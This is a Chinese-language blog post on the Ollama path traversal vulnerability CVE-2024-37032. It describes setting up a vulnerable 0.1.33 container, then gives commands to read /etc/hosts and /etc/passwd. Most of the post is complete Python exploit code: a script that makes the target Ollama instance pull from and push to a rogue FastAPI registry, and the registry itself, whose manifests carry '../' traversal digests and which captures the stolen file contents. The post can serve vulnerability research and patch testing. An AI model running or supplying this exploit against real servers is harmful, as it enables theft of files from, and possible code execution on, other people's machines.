CVE-2024-37032-Ollama漏洞

news2024/9/20 9:36:31

简介

Ollama是一个专为在本地环境中运行和定制大型语言模型而设计的工具。它提供了一个简单高效的接口,用于创建、运行和管理这些模型,同时还提供了一个丰富的预构建模型库,可以轻松集成到各种应用程序中。Ollama的目标是使大型语言模型的部署和交互变得简单,无论是对于开发者还是对于终端用户。

漏洞概述

漏洞编号:CVE-2024-37032 该漏洞允许通过路径遍历任意写入文件。digest字段的验证不正确,服务器错误地将有效负载解释为合法的文件路径,攻击者可在digest字段中包含路径遍历payload的恶意清单文件,利用该漏洞实现任意文件读取/写入或导致远程代码执行。

影响版本

Ollama < 0.1.34

环境搭建

在docker里面设置/etc/docker/daemon.json文件,可供拉取国外镜像(没有可新建)

{

  "registry-mirrors": [

    "https://registry.docker-cn.com",

    "http://hub-mirror.c.163.com",

    "https://dockerhub.azk8s.cn",

    "https://mirror.ccs.tencentyun.com",

    "https://registry.cn-hangzhou.aliyuncs.com",

    "https://docker.mirrors.ustc.edu.cn",

    "https://docker.m.daocloud.io",   

    "https://noohub.ru",

    "https://huecker.io",

    "https://dockerhub.timeweb.cloud"

  ]

}

好消息docker镜像可以使用了

拉取docker镜像

docker run -v ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama:0.1.33

发现版本存在漏洞

python3 main.py --file 'etc/hosts' --target 192.168.16.135 --namespace 'mem/test' --host 192.168.16.135

python3 main.py --file 'etc/passwd' --target 192.168.16.135 --namespace 'mem/test' --host 192.168.16.135

对比文件

main.py


import threading

from time import sleep

import requests

import uvicorn

import argparse

from server import create_app

import socket

SLEEP_TIME = 0.5

def get_machine_ip():

    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    try:

        s.connect(("8.8.8.8", 80))

        ip = s.getsockname()[0]

    except Exception:

        ip = "127.0.0.1"

    finally:

        s.close()

    return ip

def run_server(file, host, namespace):

    app = create_app(file, host, namespace)

    uvicorn.run(app, host='0.0.0.0', port=80)

if __name__ == "__main__":

    parser = argparse.ArgumentParser(description="Run FastAPI rogue server and exploit script (CVE-2024-37032).")

    parser.add_argument("--file", type=str, required=True, help="The file to read remotely.")

    parser.add_argument("--target", type=str, required=True, help="The vulnerable Ollama instance's (target) IP.")

    parser.add_argument("--target-ip", type=str, required=False, default=11434, help="The vulnerablr Ollama instance's (target) port.")

    parser.add_argument("--host", type=str, required=False, help="Current (attacker) machine's IP.")

    parser.add_argument("--namespace", type=str, required=False, default='vsociety/test', help="The string for the rogue registry namespace.")

    args = parser.parse_args()

    host = args.host or get_machine_ip()

    target_url = f"http://{args.target}:{args.target_ip}"

    file = args.file.lstrip("/")

    # Start the server in a new thread

    server_thread = threading.Thread(target=run_server, args=(file, host, args.namespace))

    server_thread.daemon = True

    server_thread.start()

    # Give the server a moment to start

    sleep(SLEEP_TIME)

    vuln_registry_url = f"{host}/{args.namespace}"

    pull_url = f"{target_url}/api/pull"

    push_url = f"{target_url}/api/push"

    # Now proceed with the requests

    requests.post(pull_url, json={"name": vuln_registry_url, "insecure": True})

    sleep(SLEEP_TIME)

    requests.post(push_url, json={"name": vuln_registry_url, "insecure": True})

    # Join the server thread if you want to wait for the server to finish (optional)

    server_thread.join()

server.py


from fastapi import FastAPI, Request, Response

PATH_TRAVELSAL_STRING = 14

PREFIX = "../" * PATH_TRAVELSAL_STRING

UUID = "3647298c-9588-4dd2-9bbe-0539533d2d04"

STATE = "eBQ2_sxwOJVy8DZMYYZ8wA8NBrJjmdINFUMM6uEZyYF7Ik5hbWUiOiJyb2d1ZS9sbGFtYTMiLCJVVUlEIjoiMzY0NzI5OGMtOTU4OC00ZGQyLTliYmUtMDUzOTUzM2QyZDA0IiwiT2Zmc2V0IjowLCJTdGFydGVkQXQiOiIyMDI0LTA2LTI1VDEzOjAxOjExLjU5MTkyMzgxMVoifQ%3D%3D"

def create_app(file: str, host: str, namespace: str):

    app = FastAPI()

    def write_to_file(text):

        try:

            with open('response.txt', 'w') as file_to_write:

                file_to_write.write(text)

            print(f"Content of {file} successfully written to response.txt.")

        except IOError:

            print(f"Error: Could not write to response.txt.")

    @app.get("/")

    async def index_get():

        return {"message": "Hello!"}

    @app.post("/")

    async def index_post(callback_data: Request):

        #print(await callback_data.body())

        return {"message": "Hello!"}

    # PULL

    @app.get(f"/v2/{namespace}/manifests/latest")

    async def fake_manifests():

        return {

            "schemaVersion": 2,

            "mediaType": "application/vnd.docker.distribution.manifest.v2+json",

            "config": {

                "mediaType": "application/vnd.docker.container.image.v1+json",

                "digest": f"{PREFIX}{file}",

                "size": 10

            },

            "layers":[

                {

                    "mediaType":"application/vnd.ollama.image.license",

                    "digest":f"{PREFIX}tmp/notfoundfile",

                    "size":10

                },

                {

                    "mediaType":"application/vnd.docker.distribution.manifest.v2+json",

                    "digest":f"{PREFIX}{file}",

                    "size":10

                },

                {

                    "mediaType":"application/vnd.ollama.image.license",

                    "digest":f"{PREFIX}root/.ollama/models/manifests/{host}/{namespace}/latest",

                    "size":10

                }

            ]

        }

    

    @app.head(f"/{file}")

    async def fake_head(response: Response):

        response.headers["Docker-Content-Digest"] = f"{PREFIX}{file}"

        return ''

    @app.get(f"/{file}", status_code=206)

    async def fake_get(response: Response):

        response.headers["Docker-Content-Digest"] = f"{PREFIX}{file}"

        response.headers["E-Tag"] = f"\"{PREFIX}{file}\""

        return 'test'

    @app.head(f"/root/.ollama/models/manifests/{host}/{namespace}/latest")

    async def fake_latest_head(response: Response):

        response.headers["Docker-Content-Digest"] = f"{PREFIX}root/.ollama/models/manifests/{host}/{namespace}/latest"

        return ''

    @app.get(f"/root/.ollama/models/manifests/{host}/{namespace}/latest", status_code=206)

    async def fake_latest_get(response: Response):

        response.headers["Docker-Content-Digest"] = f"{PREFIX}root/.ollama/models/manifests/{host}/{namespace}/latest"

        response.headers["E-Tag"] = f"\"{PREFIX}root/.ollama/models/manifests/{host}/{namespace}/latest\""

        return {

            "schemaVersion": 2,

            "mediaType": "application/vnd.docker.distribution.manifest.v2+json",

            "config": {

                "mediaType": "application/vnd.docker.container.image.v1+json",

                "digest": f"{PREFIX}{file}",

                "size": 10

            },

             "layers":[

                {

                    "mediaType":"application/vnd.ollama.image.license",

                    "digest":f"{PREFIX}tmp/notfoundfile",

                    "size":10

                },

                {

                    "mediaType":"application/vnd.docker.distribution.manifest.v2+json",

                    "digest":f"{PREFIX}{file}",

                    "size":10

                },

                {

                    "mediaType":"application/vnd.ollama.image.license",

                    "digest":f"{PREFIX}root/.ollama/models/manifests/{host}/{namespace}/latest",

                    "size":10

                }

            ]

        }

    @app.head("/tmp/notfoundfile")

    async def fake_notfound_head(response: Response):

        response.headers["Docker-Content-Digest"] = f"{PREFIX}tmp/notfoundfile"

        return ''

    @app.get("/tmp/notfoundfile", status_code=206)

    async def fake_notfound_get(response: Response):

        response.headers["Docker-Content-Digest"] = f"{PREFIX}tmp/notfoundfile"

        response.headers["E-Tag"] = f"\"{PREFIX}tmp/notfoundfile\""

        return ''

    # PUSH

    @app.post(f"/v2/{namespace}/blobs/uploads/", status_code=202)

    async def fake_upload_post(callback_data: Request, response: Response):

        #print(await callback_data.body())

        response.headers["Docker-Upload-Uuid"] = UUID

        response.headers["Location"] = f"http://{host}/v2/{namespace}/blobs/uploads/{UUID}?_state={STATE}"

        return ''

    @app.patch(f"/v2/{namespace}/blobs/uploads/{UUID}", status_code=202)

    async def fake_patch_file(callback_data: Request):

        body = await callback_data.body()

        decoded_body = body.decode("utf-8")

        pretty_body = decoded_body.replace("\n", "\n")

        print(pretty_body)

        print("Writing response to file...")

        write_to_file(pretty_body)

        return ''

    @app.post(f"/v2/{namespace}/blobs/uploads/{UUID}", status_code=202)

    async def fake_post_file(callback_data: Request):

        #print(await callback_data.body())

        return ''

    @app.put(f"/v2/{namespace}/manifests/latest")

    async def fake_manifests_put(callback_data: Request, response: Response):

        #print(await callback_data.body())

        response.headers["Docker-Upload-Uuid"] = UUID

        response.headers["Location"] = f"http://{host}/v2/{namespace}/blobs/uploads/{UUID}?_state={STATE}"

        return ''

    return app

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2123305.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Redis——初识Redis

初识Redis Redis认识Redis 分布式系统单机架构为什么要引入分布式理解负载均衡数据库的读写分离引入主从数据库 引入缓存数据库分库分表业务拆分——微服务常见概念了解 Redis背景介绍特性应用场景Redis不能做的事情Redis客户端redis客户端的多种形态 Redis 认识Redis 存储数…

flow model

https://www.youtube.com/watch?vuXY18nzdSsMcomponent by component(auto regresive)的生成模型存在的问题(生成的顺序&#xff0c;生成的速度慢)&#xff1b;variational auto-encoder存在的问题(optimize a maxihood lower bound&#xff0c;是一个近似)&#xff1b;genera…

【机器学习】隐马尔可夫模型的基本概念和应用领域以及在NLP中如何实现(含python代码)

引言 隐马尔可夫模型&#xff08;Hidden Markov Model&#xff0c;HMM&#xff09;是一种统计模型&#xff0c;用于描述一个含有隐含状态的马尔可夫过程 文章目录 引言一、隐马尔可夫模型的基本概念1.1 HMM的基本组成1.2 HMM的三个基本问题1.3 解决HMM问题的算法1.4 在python中…

Linux 安装神州通用数据库 ShenTong7.0.8_342.92_linux64

Linux 安装神州通用数据库 ShenTong7.0.8_342.92_linux64 1、准备工作2、安装数据库3、启停数据库4、后续步骤 &#x1f496;The Begin&#x1f496;点点关注&#xff0c;收藏不迷路&#x1f496; 在Linux环境下安装神州通用数据库&#xff08;ShenTong&#xff09;是一个相对直…

如何通过 Apache Camel 将数据导入 Elasticsearch

作者&#xff1a;来自 Elastic Andre Luiz 使用 Apache Camel 将数据提取到 Elasticsearch 的过程将搜索引擎的稳健性与集成框架的灵活性相结合。在本文中&#xff0c;我们将探讨 Apache Camel 如何简化和优化将数据提取到 Elasticsearch。为了说明此功能&#xff0c;我们将实…

5G网络建设

题目描述 现需要在基城市进行5G网络建设&#xff0c;已经选取N个地点设置5G基站&#xff0c;编号固定为1到N&#xff0c;接下来需要各个基站之间使用光纤进行连接以确保基 站能互联互通&#xff0c;不同基站之间假设光纤的成本各不相同&#xff0c;且有些节点之间已经存在光纤…

8个动态着陆页案例及最佳实践

动态着陆页是一种让市场营销人员在不必因成百上千变量而抓狂的情况下&#xff0c;利用个性化力量的绝佳方式&#xff0c;从而让他们能够扩大努力并增长业务。使用像光年AI这样的平台&#xff0c;可以更方便地实现这一目标。 在这篇文章中&#xff0c;您将了解到&#xff1a; …

非监督式机器学习:群集

聚类分析是一种非监督式机器学习形式&#xff0c;在此形式下&#xff0c;基于观察值的数据值或特征的相似性&#xff0c;将观察值分组到群集中。 这种就是非监督式机器学习&#xff0c;因为它不使用先前已知的标签值来训练模型。 在聚类分析模型中&#xff0c;标签是群集&#…

【Nacos】健康检查与环境隔离

1. 健康检测 1.1 两种健康检查机制 Nacos作为注册中心,需要感知服务的健康状态,才能为服务调用方提供良好的服务 Nacos 中提供了两种健康检查机制: 1. 客户端主动上报机制 客户端通过心跳上报方式告知服务端(nacos注册中心)健康状态,默认心跳间隔5秒:nacos会在超过15秒未收…

内网穿透之EW使用、判断服务器是否出网

环境搭建 使用的是下面文章的环境 记一次学习--内网穿透-CSDN博客 ew代理 然后同样通过thinkphp漏洞写入文件&#xff0c;然后通过蚁剑连接 然后上传ew的Linux版本&#xff0c;然后加权执行 一层代理 正向代理 设置正向代理&#xff08;在ubuntu上&#xff09;&#xff0…

React 发现无webpack相关的配置的目录,使用eject进行创建, 安装插件需要进行配置

React 发现无webpack相关的配置的目录&#xff0c;进行创建&#xff0c; 安装插件需要进行配置 react脚手架将webpack相关的配置隐藏起来了&#xff0c;如果想要看到webpack的配置可以执行package.json文件中的一个脚本&#xff1a;“eject”: “react-scripts eject”&#x…

流媒体之HLS协议(其三)

欢迎诸位来阅读在下的博文~ 在这里&#xff0c;在下会不定期发表一些浅薄的知识和经验&#xff0c;望诸位能与在下多多交流&#xff0c;共同努力&#xff01; 江山如画&#xff0c;客心如若&#xff0c;欢迎到访&#xff0c;一展风采 文章目录 前期博客参考书籍一、HLS协议简…

TwinCAT3 实时核中ADS实现C++ server、clinet数据传输

一、基本概念 ADS &#xff1a;Automation Device Specification&#xff0c;ADS设备间进行通信的协议规范。协议定义了ADS device之间如何寻址对方、ADS device之间可以执行哪些操作、执行这些操作需要哪些参数&#xff0c;以及操作完成后如何返回结果等。从编程角度看&#…

SVM 监督学习

一、分类问题 利用一条直线分类存在很多问题 二、SVM 支持向量机 其核心思想是通过在特征空间中找到一个最优的超平面来进行分类&#xff0c;并且间隔最大。分类面尽可能远离样本点&#xff0c;宽度越大越好。 适用于中小型复杂数据集的分类。 三、硬间隔和软间隔 硬&#x…

Android Studio -> Android Studio 获取release模式和debug模式的APK

Android Studio上鼠标修改构建类型 Release版本 激活路径&#xff1a;More tool windows->Build Variants->Active Build Variant->releaseAPK路径&#xff1a;Project\app\build\intermediates\apk\app-release.apk Debug版本 激活路径&#xff1a;More tool w…

linux上使用rpm的方式安装mysql

1.从mysql官网上下载需要的版本&#xff0c;根据操作系统版本&#xff0c;CPU架构&#xff0c;下载让rpm bundle,这个版本是个完整版&#xff0c;包含其他所有版本 上传到服务器的一个目录&#xff0c;进行解压 执行tar -xvf mysql*.tar tar -xvf mysql*.tar 2.卸载老版本m…

【Canvas与电脑桌面】用六角回旋镖铺满一个平面(1920*1080)

【成图】 【代码】 <!DOCTYPE html> <html lang"utf-8"> <meta http-equiv"Content-Type" content"text/html; charsetutf-8"/> <head><title>六角回旋镖桌面1920x1080</title><style type"text/cs…

动手学深度学习(pytorch)学习记录27-深度卷积神经网络(AlexNet)[学习记录]

目录 创建模型读取数据集训练AlexNet AlexNet 是由 Alex Krizhevsky、Ilya Sutskever 和 Geoffrey Hinton 在 2012 年提出的深度卷积神经网络&#xff0c;它在当年的 ImageNet 大规模视觉识别挑战赛&#xff08;ILSVRC&#xff09;中取得了显著的成绩&#xff0c;从而引起了深度…

动手学深度学习(pytorch土堆)-02TensorBoard的使用

1.可视化 代码使用了 torch.utils.tensorboard 将数据记录到 TensorBoard 以便可视化。具体来说&#xff0c;它将标量数据记录到目录 logs 中&#xff0c;使用的是 SummaryWriter 类。 代码分解如下&#xff1a; SummaryWriter("logs")&#xff1a;初始化一个 Ten…

常用的 git命令的使用

一. 简介 本文简单学习一下&#xff0c;在从远程仓库中拉取代码&#xff0c;或者向远程仓库提交代码时&#xff0c;经常用到的一些 git命令。 二. git的其他命令的使用 1. 重新提交代码的命令 当已经提交过一笔代码&#xff0c;并经过了 CI自动化编译通过。这时可能发现…